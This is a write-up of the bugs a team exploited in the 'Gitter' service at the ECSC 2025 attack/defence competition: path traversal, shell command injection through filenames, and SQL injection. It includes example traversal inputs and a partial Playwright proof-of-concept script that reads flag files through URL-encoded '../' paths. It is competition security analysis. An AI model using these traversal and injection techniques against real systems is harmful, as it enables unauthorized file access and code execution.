ECSC 2025 A/D - Gitter
intro
The European Cybersecurity Challenge of 2025 has just concluded. Since writeups will probably take a while to be released, I’ve decided to include a simple summary of the bugs we exploited on the Gitter A/D service.
frontend module
In the repos.ts
module, the getFileContent
handler is vulnerable to path traversal due to the way paths are constructed.
export async function getFileContent(username: string, repository_name: string, filepath: string): Promise<string> {
const repoPath = path.join(GIT_REPOSITORIES_DIRECTORY, username, repository_name, filepath);
return fs.promises.readFile(repoPath, 'utf8');
}
Since username
, repository_name
, and filepath
are attacker-controlled values, this results in a local file inclusion (LFI) vulnerability. Path traversal is trivial via sequences like ../../
, especially when URL-encoded (%2E%2E
), allowing access to arbitrary files on the host filesystem—such as other users’ repositories or system files.
Additionally, the getLastModified
function and getFolders
by extension are opening a surface for arbitrary command injection:
// page.tsx
const full_filepath = filepath.join("/");
await prepareWorkingTree(organization, repository);
const file_exists = await exists(organization, repository, full_filepath);
const is_folder = await isFolder(organization, repository, full_filepath);
const folder_path = is_folder
? full_filepath
: filepath.slice(0, -1).join("/");
const folder_contents = await getFolders(organization, repository, folder_path);
// repos.ts
return {
name,
path: name,
size: parseInt(size) || 0,
type: type === 'tree' ? 'folder' : 'file',
modified: await getLastModified(repoPath, name)
};
Internally, getLastModified
relies on a git log
call using child_process.exec
, without sanitizing name
or validating it as a legitimate file name. This opens the door to command injection by injecting shell metacharacters in the filename. As long as an attacker can influence repository structure (or trick the system into parsing a malicious filename), arbitrary shell commands can be executed.
internal module
Looking at the /identity/:pubkey
route, the way the SQL query is constructed is vulnerable to injections.
const user = await sql`SELECT * FROM users WHERE public_key = ${pubkey}`;
This appears safe due to the use of a tagged template literal (assuming a library like postgres.js
or similar), but in practice, the underlying implementation was incorrectly handling input interpolation. Through crafted pubkey
values, it was possible to manipulate the resulting SQL query and leak other users’ information, or even enumerate the entire users
table.
Additionally, at the top of the file three RegEx patterns are defined:
const SSH_KEY_REGEX = /^ssh-[-a-z0-9]+ [-A-Za-z0-9+/]+={0,3}( .+)?$/;
const USER_REGEX = /^[-._a-zA-Z0-9]+$/;
const REPOSITORY_REGEX = /^[-._a-zA-Z0-9]+$/;
…but are never used in the module.
This is significant because these regular expressions, had they been enforced during user registration or repository creation, would have prevented a number of attacks. For example:
- Bypassing path checks via odd usernames (e.g.,
../../../etc/passwd
) - Uploading SSH keys with appended SQL injection payloads in the comment field
- Creating repositories with shell metacharacters in their names
The lack of validation effectively allowed user-controlled inputs to influence file paths, repository structure, and even SSH key parsing logic, multiplying the impact of the previously mentioned LFI and command injection vectors.
Proof-of-Concept for LFI
#...
browser = p.chromium.launch(headless=headless)
context = browser.new_context()
page = context.new_page()
username = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
password = username
randsshstuff = ''.join(random.choice(string.ascii_uppercase) for _ in range(8))
randsshstuff2 = ''.join(random.choice(string.ascii_uppercase) for _ in range(8))
ssh_key = f"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAI{randsshstuff2}NTYAAABBBH1UDwvjEHIIVofBBHlJO{randsshstuff}QHr+VBdKuraxzZ9EJhXl5z47GAA6HQoBU383B9sI+tsCTD9zgf3RYLXG2A= checker@5a7f66b3f782"
base_url = f"http://{TARGET_IP}:{PORT}"
timeout = 30
# 1) Register
status, ctype, body = submit_register(context, page, base_url, username, password, ssh_key, timeout_ms=timeout*500)
if body: print(body)
if not (200 <= status < 300):
browser.close()
sys.exit(1)
statusL, ctypeL, bodyL = submit_login(context, page, base_url, username, password, timeout_ms=timeout*500)
if bodyL: print(bodyL)
if statusL >= 400:
browser.close()
sys.exit(2)
status2, ctype2, body2 = submit_new_repo(context, page, base_url, username, timeout_ms=timeout*500)
if body2: print(body2)
ok = 200 <= status2 < 300
for f in TARGETS:
lfi_page = base_url + f"/{username}/{username}/tree/" f"%2E%2E%2F%2E%2E%2F{f}%2Fflag%2Fflag.txt"
visit_and_print_flags(page, lfi_page, timeout_ms=timeout*700)
browser.close()
sys.exit(0 if ok else 3)
# ...